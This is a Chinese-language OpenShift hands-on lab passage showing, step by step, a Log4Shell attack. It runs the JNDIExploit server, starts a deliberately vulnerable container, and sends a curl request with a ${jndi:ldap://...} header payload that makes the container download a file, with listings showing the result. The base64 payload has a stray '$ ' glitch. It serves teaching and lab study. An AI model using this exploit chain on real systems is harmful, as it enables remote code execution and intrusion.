OpenShift 4.x HOL教程汇总

漏洞攻击过程

利用 Log4j 漏洞攻击容器需要有2个条件,1)Java应用中包含受到漏洞影响的Log4j。2)带有“JNDI 注入”的运行环境。

以下在 2 个节点上进行验证:

  1. 在 172.17.0.30 上执行以下命令,运行带有 “JNDI 注入” 的环境。
$ curl -OL https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip
$ unzip JNDIExploit.zip
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.30 -p 8888
  1. 在 172.17.0.29 上执行命令。先启动受到 Log4j 漏洞影响的容器,并确认“/tmp”目录下的文件。然后将入驻命令进行 base64 编码,再利用 JNDI 服务注入命令并执行。最后可以确认,受到Log4j漏洞影响的容器内部中已经有被下载的测试文件。
$ docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
$ docker exec vulnerable-app ls -al /tmp
total 35100
drwxrwxrwt    1 root     root          4096 Dec 24 14:28 .
drwxr-xr-x    1 root     root          4096 Dec 24 14:24 ..
drwxr-xr-x    2 root     root          4096 Dec 24 14:24 hsperfdata_root
drwx------    2 root     root          4096 Dec 24 14:24 tomcat-docbase.8080.1524040148610409673
drwx------    3 root     root          4096 Dec 24 14:24 tomcat.8080.4589198206320996711
$ echo 'wget https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip -P /tmp' | base64
$ curl 172.17.0.29:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.30:1389/Basic/Command/Base64/d2dldCBodHRwczovL2dpdGh1Yi5jb20vZ2l0ZXJsaXp6aS9KTkRJRXhwbG9pdC9yZWxlYXNlcy9kb3d$ ubG9hZC92MS4yL0pORElFeHBsb2l0LnppcCAtUCAvdG1wCg==}'
$ docker exec vulnerable-app ls -al /tmp
total 35100
drwxrwxrwt    1 root     root          4096 Dec 24 14:28 .
drwxr-xr-x    1 root     root          4096 Dec 24 14:24 ..
-rw-r--r--    1 root     root      35919493 Dec 24 14:28 JNDIExploit.zip
drwxr-xr-x    2 root     root          4096 Dec 24 14:24 hsperfdata_root
drwx------    2 root     root          4096 Dec 24 14:24 tomcat-docbase.8080.1524040148610409673
drwx------    3 root     root          4096 Dec 24 14:24 tomcat.8080.4589198206320996711

演示视频

视频

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐